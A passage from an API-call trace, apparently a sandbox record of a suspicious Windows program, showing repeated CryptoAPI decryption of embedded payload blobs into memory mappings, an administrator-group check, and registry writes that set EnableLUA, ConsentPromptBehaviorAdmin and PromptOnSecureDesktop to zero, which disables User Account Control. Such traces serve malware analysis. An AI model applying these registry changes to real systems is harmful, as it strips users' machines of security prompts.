dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemAlloc (cb=0x20) returned 0x7d6140 [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6140, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6140, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemFree (pv=0x7d6140) [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemAlloc (cb=0x20) returned 0x7d6620 [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6620, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6620, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemFree (pv=0x7d6620) [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemAlloc (cb=0x20) returned 0x7d5d50 [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d5d50, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d5d50, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemFree (pv=0x7d5d50) [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemAlloc (cb=0x20) returned 0x7d6350 [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6350, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6350, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemFree (pv=0x7d6350) [0154.739] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.739] CoTaskMemAlloc (cb=0x20) returned 0x7d62c0 [0154.740] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d62c0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d62c0, pdwDataLen=0x1afbb7b0) returned 1 [0154.740] CoTaskMemFree (pv=0x7d62c0) [0154.740] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 0 [0154.742] CryptImportKey (in: hProv=0x7bc8b0, pbData=0x23dfcd0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb780 | out: phKey=0x1afbb780*=0x7ac130) returned 1 [0154.746] CryptContextAddRef (hProv=0x7bc8b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0154.746] CryptContextAddRef (hProv=0x7bc8b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0154.747] CryptDuplicateKey (in: hKey=0x7ac130, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb770 | out: phKey=0x1afbb770*=0x7abe20) returned 1 [0154.747] CryptContextAddRef (hProv=0x7bc8b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0154.748] CryptSetKeyParam (hKey=0x7abe20, dwParam=0x4, pbData=0x23dfe18*=0x1, dwFlags=0x0) returned 1 [0154.748] CryptSetKeyParam (hKey=0x7abe20, dwParam=0x1, pbData=0x23dfdc8, dwFlags=0x0) returned 1 [0154.749] CryptDestroyKey (hKey=0x7ac130) returned 1 [0154.749] CryptReleaseContext (hProv=0x7bc8b0, dwFlags=0x0) returned 1 [0154.749] CryptReleaseContext (hProv=0x7bc8b0, dwFlags=0x0) returned 1 [0154.750] CryptDecrypt (in: hKey=0x7abe20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23dfe38, pdwDataLen=0x1afbb8d0 | out: pbData=0x23dfe38, pdwDataLen=0x1afbb8d0) returned 1 [0154.757] CryptDecrypt (in: hKey=0x7abe20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23e05e0, pdwDataLen=0x1afbb8c0 | out: pbData=0x23e05e0, pdwDataLen=0x1afbb8c0) returned 0 [0155.001] CryptDestroyKey (hKey=0x7abe20) returned 1 [0155.001] CryptReleaseContext (hProv=0x7bc8b0, dwFlags=0x0) returned 1 [0155.001] CryptReleaseContext (hProv=0x7bc8b0, dwFlags=0x0) returned 1 [0155.170] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x2c8 [0155.170] memcpy (in: _Dst=0x850000, _Src=0x23f4e08, _Size=0x1000 | out: _Dst=0x850000) returned 0x850000 [0155.205] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14e00, lpName=0x0) returned 0x2c8 [0155.206] memcpy (in: _Dst=0x860000, _Src=0x12d7e328, _Size=0x14e00 | out: _Dst=0x860000) returned 0x860000 [0155.412] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x3ac [0155.412] memcpy (in: _Dst=0x890000, _Src=0x2401410, _Size=0x1000 | out: _Dst=0x890000) returned 0x890000 [0155.440] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a00, lpName=0x0) returned 0x3ac [0155.441] memcpy (in: _Dst=0x8a0000, _Src=0x24052a8, _Size=0x9a00 | out: _Dst=0x8a0000) returned 0x8a0000 [0155.749] CryptAcquireContextW (in: phProv=0x1afbb468, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb468*=0x7bcbb0) returned 1 [0155.750] CryptImportKey (in: hProv=0x7bcbb0, pbData=0x2411550*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb3f0 | out: phKey=0x1afbb3f0*=0x7ac3d0) returned 1 [0155.750] CryptContextAddRef (hProv=0x7bcbb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0155.750] CryptContextAddRef (hProv=0x7bcbb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0155.751] CryptDuplicateKey (in: hKey=0x7ac3d0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb3e0 | out: phKey=0x1afbb3e0*=0x7abf70) returned 1 [0155.751] CryptContextAddRef (hProv=0x7bcbb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0155.751] CryptSetKeyParam (hKey=0x7abf70, dwParam=0x4, pbData=0x2411670*=0x1, dwFlags=0x0) returned 1 [0155.751] CryptSetKeyParam (hKey=0x7abf70, dwParam=0x1, pbData=0x2411620, dwFlags=0x0) returned 1 [0155.751] CryptDestroyKey (hKey=0x7ac3d0) returned 1 [0155.751] CryptReleaseContext (hProv=0x7bcbb0, dwFlags=0x0) returned 1 [0155.751] CryptReleaseContext (hProv=0x7bcbb0, dwFlags=0x0) returned 1 [0155.751] CryptDecrypt (in: hKey=0x7abf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2411690, pdwDataLen=0x1afbb540 | out: pbData=0x2411690, pdwDataLen=0x1afbb540) returned 1 [0155.751] CryptDecrypt (in: hKey=0x7abf70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2411c40, pdwDataLen=0x1afbb530 | out: pbData=0x2411c40, pdwDataLen=0x1afbb530) returned 0 [0156.075] CryptDestroyKey (hKey=0x7abf70) returned 1 [0156.075] CryptReleaseContext (hProv=0x7bcbb0, dwFlags=0x0) returned 1 [0156.075] CryptReleaseContext (hProv=0x7bcbb0, dwFlags=0x0) returned 1 [0156.099] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10200, lpName=0x0) returned 0x3ac [0156.099] memcpy (in: _Dst=0x8d0000, _Src=0x241ef70, _Size=0x10200 | out: _Dst=0x8d0000) returned 0x8d0000 [0156.242] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x3b4 [0156.243] memcpy (in: _Dst=0x8b0000, _Src=0x24351d0, _Size=0xe00 | out: _Dst=0x8b0000) returned 0x8b0000 [0156.372] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x3c8 [0156.372] memcpy (in: _Dst=0x1ac00000, _Src=0x24388a0, _Size=0x4200 | out: _Dst=0x1ac00000) returned 0x1ac00000 [0156.731] CryptAcquireContextW (in: phProv=0x1afbbfa8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbbfa8*=0x7bceb0) returned 1 [0156.732] CryptImportKey (in: hProv=0x7bceb0, pbData=0x243f3a8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbbf30 | out: phKey=0x1afbbf30*=0x7abf70) returned 1 [0156.732] CryptContextAddRef (hProv=0x7bceb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0156.732] CryptContextAddRef (hProv=0x7bceb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0156.732] CryptDuplicateKey (in: hKey=0x7abf70, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbbf20 | out: phKey=0x1afbbf20*=0x7ac830) returned 1 [0156.732] CryptContextAddRef (hProv=0x7bceb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0156.732] CryptSetKeyParam (hKey=0x7ac830, dwParam=0x4, pbData=0x243f4c8*=0x1, dwFlags=0x0) returned 1 [0156.732] CryptSetKeyParam (hKey=0x7ac830, dwParam=0x1, pbData=0x243f478, dwFlags=0x0) returned 1 [0156.732] CryptDestroyKey (hKey=0x7abf70) returned 1 [0156.732] CryptReleaseContext (hProv=0x7bceb0, dwFlags=0x0) returned 1 [0156.732] CryptReleaseContext (hProv=0x7bceb0, dwFlags=0x0) returned 1 [0156.733] CryptDecrypt (in: hKey=0x7ac830, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x243f4e8, pdwDataLen=0x1afbc080 | out: pbData=0x243f4e8, pdwDataLen=0x1afbc080) returned 1 [0156.733] CryptDecrypt (in: hKey=0x7ac830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x243f7f0, pdwDataLen=0x1afbc070 | out: pbData=0x243f7f0, pdwDataLen=0x1afbc070) returned 0 [0157.022] CryptDestroyKey (hKey=0x7ac830) returned 1 [0157.022] CryptReleaseContext (hProv=0x7bceb0, dwFlags=0x0) returned 1 [0157.022] CryptReleaseContext (hProv=0x7bceb0, dwFlags=0x0) returned 1 [0157.037] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1afbd3a8 | out: phkResult=0x1afbd3a8*=0x3c8) returned 0x0 [0157.039] RegQueryValueExW (in: hKey=0x3c8, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x1afbd4b8, lpData=0x0, lpcbData=0x1afbd4b0*=0x0 | out: lpType=0x1afbd4b8*=0x4, lpData=0x0, lpcbData=0x1afbd4b0*=0x4) returned 0x0 [0157.039] RegSetValueExW (in: hKey=0x3c8, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x1afbd518*=0x0, cbData=0x4 | out: lpData=0x1afbd518*=0x0) returned 0x0 [0157.040] RegCloseKey (hKey=0x3c8) returned 0x0 [0157.041] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1afbd3a8 | out: phkResult=0x1afbd3a8*=0x3c8) returned 0x0 [0157.041] RegQueryValueExW (in: hKey=0x3c8, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x1afbd4b8, lpData=0x0, lpcbData=0x1afbd4b0*=0x0 | out: lpType=0x1afbd4b8*=0x4, lpData=0x0, lpcbData=0x1afbd4b0*=0x4) returned 0x0 [0157.041] RegSetValueExW (in: hKey=0x3c8, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x1afbd518*=0x0, cbData=0x4 | out: lpData=0x1afbd518*=0x0) returned 0x0 [0157.041] RegCloseKey (hKey=0x3c8) returned 0x0 [0157.042] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1afbd3a8 | out: phkResult=0x1afbd3a8*=0x3c8) returned 0x0 [0157.042] RegQueryValueExW (in: hKey=0x3c8, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x1afbd4b8, lpData=0x0, lpcbData=0x1afbd4b0*=0x0 | out: lpType=0x1afbd4b8*=0x4, lpData=0x0, lpcbData=0x1afbd4b0*=0x4) returned 0x0 [0157.042] RegSetValueExW (in: hKey=0x3c8, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x1afbd518*=0x0, cbData=0x4 | out: lpData=0x1afbd518*=0x0) returned 0x0 [0157.042] RegCloseKey (hKey=0x3c8) returned 0x0 [0157.391] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1afbd3a8 | out: phkResult=0x1afbd3a8*=0x3c8) returned 0x0 [0157.393] RegQueryValueExW (in: hKey=0x3c8, lpValueName="CheckSetting", lpReserved=0x0, lpType=0x1afbd4b8, lpData=0x0, lpcbData=0x1afbd4b0*=0x0 | out: lpType=0x1afbd4b8*=0x3, lpData=0x0, lpcbData=0x1afbd4b0*=0x24) returned 0x0 [0157.394] RegSetValueExW (in: hKey=0x3c8, lpValueName="CheckSetting", Reserved=0x0, dwType=0x3, lpData=0x244c520*, cbData=0x24 | out: lpData=0x244c520*) returned 0x0 [0157.394] RegCloseKey (hKey=0x3c8) returned 0x0 [0157.397] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x3c8 [0157.398] memcpy (in: _Dst=0x1abe0000, _Src=0x244db10, _Size=0x5600 | out: _Dst=0x1abe0000) returned 0x1abe0000 [0157.563] GetCurrentProcess () returned 0xffffffffffffffff [0157.563] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd478 | out: TokenHandle=0x1afbd478*=0x3d0) returned 1 [0157.571] GetTokenInformation (in: TokenHandle=0x3d0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1afbd4d8 | out: TokenInformation=0x0, ReturnLength=0x1afbd4d8) returned 0 [0157.571] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x75bfd0 [0157.571] GetTokenInformation (in: TokenHandle=0x3d0, TokenInformationClass=0x8, TokenInformation=0x75bfd0, TokenInformationLength=0x4, ReturnLength=0x1afbd4d8 | out: TokenInformation=0x75bfd0, ReturnLength=0x1afbd4d8) returned 1 [0157.572] LocalFree (hMem=0x75bfd0) returned 0x0 [0157.573] DuplicateTokenEx (in: hExistingToken=0x3d0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1afbd538 | out: phNewToken=0x1afbd538*=0x3d4) returned 1 [0157.573] CheckTokenMembership (in: TokenHandle=0x3d4, SidToCheck=0x2456730*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1afbd540 | out: IsMember=0x1afbd540) returned 1 [0157.574] CloseHandle (hObject=0x3d4) returned 1 [0157.574] CloseHandle (hObject=0x3d0) returned 1 [0157.575] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1600, lpName=0x0) returned 0x3d0 [0157.576] memcpy (in: _Dst=0x1abf0000, _Src=0x2457948, _Size=0x1600 | out: _Dst=0x1abf0000) returned 0x1abf0000 [0157.673] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb400, lpName=0x0) returned 0x3d0 [0157.674] memcpy (in: _Dst=0x1ac10000, _Src=0x2460678, _Size=0xb400 | out: _Dst=0x1ac10000) returned 0x1ac10000 [0158.143] CryptAcquireContextW (in: phProv=0x1afbb6e8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb6e8*=0x7bc0b0) returned 1 [0158.144] CryptImportKey (in: hProv=0x7bc0b0, pbData=0x2476fe0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb670 | out: phKey=0x1afbb670*=0x7ac8a0) returned 1 [0158.144] CryptContextAddRef (hProv=0x7bc0b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0158.144] CryptContextAddRef (hProv=0x7bc0b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0158.144] CryptDuplicateKey (in: hKey=0x7ac8a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb660 | out: phKey=0x1afbb660*=0x7abf70) returned 1 [0158.144] CryptContextAddRef (hProv=0x7bc0b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0158.144] CryptSetKeyParam (hKey=0x7abf70, dwParam=0x4, pbData=0x2477100*=0x1, dwFlags=0x0) returned 1 [0158.144] CryptSetKeyParam (hKey=0x7abf70, dwParam=0x1, pbData=0x24770b0, dwFlags=0x0) returned 1 [0158.144] CryptDestroyKey (hKey=0x7ac8a0) returned 1 [0158.144] CryptReleaseContext (hProv=0x7bc0b0, dwFlags=0x0) returned 1 [0158.144] CryptReleaseContext (hProv=0x7bc0b0, dwFlags=0x0) returned 1 [0158.144] CryptDecrypt (in: hKey=0x7abf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2477120, pdwDataLen=0x1afbb7c0 | out: pbData=0x2477120, pdwDataLen=0x1afbb7c0) returned 1 [0158.144] CryptDecrypt (in: hKey=0x7abf70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2478148, pdwDataLen=0x1afbb7b0 | out: pbData=0x2478148, pdwDataLen=0x1afbb7b0) returned 0 [0158.458] CryptDestroyKey (hKey=0x7abf70) returned 1 [0158.458] CryptReleaseContext (hProv=0x7bc0b0, dwFlags=0x0) returned 1 [0158.458] CryptReleaseContext (hProv=0x7bc0b0, dwFlags=0x0) returned 1 [0158.513] GetACP () returned 0x4e4 [0158.889] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x3f4 [0158.889] memcpy (in: _Dst=0x1ac20000, _Src=0x2491bb0, _Size=0x5600 | out: _Dst=0x1ac20000) returned 0x1ac20000 [0159.031] CryptAcquireContextW (in: phProv=0x1afbb8a8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb8a8*=0x1b1ceb70) returned 1 [0159.032] CryptImportKey (in: hProv=0x1b1ceb70, pbData=0x249a918*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb830 | out: phKey=0x1afbb830*=0x1b1c55b0) returned 1 [0159.032] CryptContextAddRef (hProv=0x1b1ceb70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.032] CryptContextAddRef (hProv=0x1b1ceb70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.032] CryptDuplicateKey (in: hKey=0x1b1c55b0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb820 | out: phKey=0x1afbb820*=0x1b1c5000) returned 1 [0159.032] CryptContextAddRef (hProv=0x1b1ceb70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.032] CryptSetKeyParam (hKey=0x1b1c5000, dwParam=0x4, pbData=0x249aa38*=0x1, dwFlags=0x0) returned 1 [0159.032] CryptSetKeyParam (hKey=0x1b1c5000, dwParam=0x1, pbData=0x249a9e8, dwFlags=0x0) returned 1 [0159.032] CryptDestroyKey (hKey=0x1b1c55b0) returned 1 [0159.032] CryptReleaseContext (hProv=0x1b1ceb70, dwFlags=0x0) returned 1 [0159.032] CryptReleaseContext (hProv=0x1b1ceb70, dwFlags=0x0) returned 1 [0159.032] CryptDecrypt (in: hKey=0x1b1c5000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x249aa58, pdwDataLen=0x1afbb980 | out: pbData=0x249aa58, pdwDataLen=0x1afbb980) returned 1 [0159.032] CryptDecrypt (in: hKey=0x1b1c5000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x249ac88, pdwDataLen=0x1afbb970 | out: pbData=0x249ac88, pdwDataLen=0x1afbb970) returned 0 [0159.333] CryptDestroyKey (hKey=0x1b1c5000) returned 1 [0159.333] CryptReleaseContext (hProv=0x1b1ceb70, dwFlags=0x0) returned 1 [0159.333] CryptReleaseContext (hProv=0x1b1ceb70, dwFlags=0x0) returned 1 [0159.350] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a00, lpName=0x0) returned 0x3f4 [0159.350] memcpy (in: _Dst=0x1ad60000, _Src=0x24a8098, _Size=0x4a00 | out: _Dst=0x1ad60000) returned 0x1ad60000 [0159.601] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6400, lpName=0x0) returned 0x3fc [0159.601] memcpy (in: _Dst=0x1ad70000, _Src=0x24bd7c8, _Size=0x6400 | out: _Dst=0x1ad70000) returned 0x1ad70000 [0159.770] CryptAcquireContextW (in: phProv=0x1afbb3e8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb3e8*=0x1b1d1370) returned 1 [0159.771] CryptImportKey (in: hProv=0x1b1d1370, pbData=0x24cbee8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb370 | out: phKey=0x1afbb370*=0x1b1c55b0) returned 1 [0159.771] CryptContextAddRef (hProv=0x1b1d1370, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.771] CryptContextAddRef (hProv=0x1b1d1370, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.771] CryptDuplicateKey (in: hKey=0x1b1c55b0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb360 | out: phKey=0x1afbb360*=0x1b1c4c80) returned 1 [0159.771] CryptContextAddRef (hProv=0x1b1d1370, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.771] CryptSetKeyParam (hKey=0x1b1c4c80, dwParam=0x4, pbData=0x24cc008*=0x1, dwFlags=0x0) returned 1 [0159.771] CryptSetKeyParam (hKey=0x1b1c4c80, dwParam=0x1, pbData=0x24cbfb8, dwFlags=0x0) returned 1 [0159.771] CryptDestroyKey (hKey=0x1b1c55b0) returned 1 [0159.771] CryptReleaseContext (hProv=0x1b1d1370, dwFlags=0x0) returned 1 [0159.771] CryptReleaseContext (hProv=0x1b1d1370, dwFlags=0x0) returned 1 [0159.771] CryptDecrypt (in: hKey=0x1b1c4c80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24cc028, pdwDataLen=0x1afbb4c0 | out: pbData=0x24cc028, pdwDataLen=0x1afbb4c0) returned 1 [0159.771] CryptDecrypt (in: hKey=0x1b1c4c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24cc370, pdwDataLen=0x1afbb4b0 | out: pbData=0x24cc370, pdwDataLen=0x1afbb4b0) returned 0 [0159.980] CryptDestroyKey (hKey=0x1b1c4c80) returned 1 [0159.980] CryptReleaseContext (hProv=0x1b1d1370, dwFlags=0x0) returned 1 [0159.980] CryptReleaseContext (hProv=0x1b1d1370, dwFlags=0x0) returned 1 [0160.015] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6200, lpName=0x0) returned 0x420 [0160.016] memcpy (in: _Dst=0x1ad80000, _Src=0x24dcc88, _Size=0x6200 | out: _Dst=0x1ad80000) returned 0x1ad80000 [0160.191] CryptAcquireContextW (in: phProv=0x1afbb7b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb7b8*=0x1b1d2670) returned 1 [0160.192] CryptImportKey (in: hProv=0x1b1d2670, pbData=0x24eb518*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb740 | out: phKey=0x1afbb740*=0x1b1c5070) returned 1 [0160.192] CryptContextAddRef (hProv=0x1b1d2670, pdwReserved=0x0, dwFlags=0x0) returned 1 [0160.192] CryptContextAddRef (hProv=0x1b1d2670, pdwReserved=0x0, dwFlags=0x0) returned 1 [0160.192] CryptDuplicateKey (in: hKey=0x1b1c5070, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb730 | out: phKey=0x1afbb730*=0x1b1c5310) returned 1 [0160.192] CryptContextAddRef (hProv=0x1b1d2670, pdwReserved=0x0, dwFlags=0x0) returned 1 [0160.192] CryptSetKeyParam (hKey=0x1b1c5310, dwParam=0x4, pbData=0x24eb638*=0x1, dwFlags=0x0) returned 1 [0160.192] CryptSetKeyParam (hKey=0x1b1c5310, dwParam=0x1, pbData=0x24eb5e8, dwFlags=0x0) returned 1 [0160.192] CryptDestroyKey (hKey=0x1b1c5070) returned 1 [0160.192] CryptReleaseContext (hProv=0x1b1d2670, dwFlags=0x0) returned 1 [0160.192] CryptReleaseContext (hProv=0x1b1d2670, dwFlags=0x0) returned 1 [0160.192] CryptDecrypt (in: hKey=0x1b1c5310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24eb658, pdwDataLen=0x1afbb890 | out: pbData=0x24eb658, pdwDataLen=0x1afbb890) returned 1 [0160.192] CryptDecrypt (in: hKey=0x1b1c5310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24eb760, pdwDataLen=0x1afbb880 | out: pbData=0x24eb760, pdwDataLen=0x1afbb880) returned 0 [0160.553] CryptDestroyKey (hKey=0x1b1c5310) returned 1 [0160.553] CryptReleaseContext (hProv=0x1b1d2670, dwFlags=0x0) returned 1 [0160.553] CryptReleaseContext (hProv=0x1b1d2670, dwFlags=0x0) returned 1 [0160.773] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c00, lpName=0x0) returned 0x450 [0160.773] memcpy (in: _Dst=0x1b2f0000, _Src=0x2398a98, _Size=0x1c00 | out: _Dst=0x1b2f0000) returned 0x1b2f0000 [0160.841] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5200, lpName=0x0) returned 0x468 [0160.841] memcpy (in: _Dst=0x1ad90000, _Src=0x23ddca8, _Size=0x5200 | out: _Dst=0x1ad90000) returned 0x1ad90000 [0160.940] CryptAcquireContextW (in: phProv=0x1afbb8b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb8b8*=0x1b1cef70) returned 1 [0160.941] CryptImportKey (in: hProv=0x1b1cef70, pbData=0x23e65a8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb840 | out: phKey=0x1afbb840*=0x1b1c57e0) returned 1 [0160.941] CryptContextAddRef (hProv=0x1b1cef70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0160.941] CryptContextAddRef (hProv=0x1b1cef70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0160.941] CryptDuplicateKey (in: 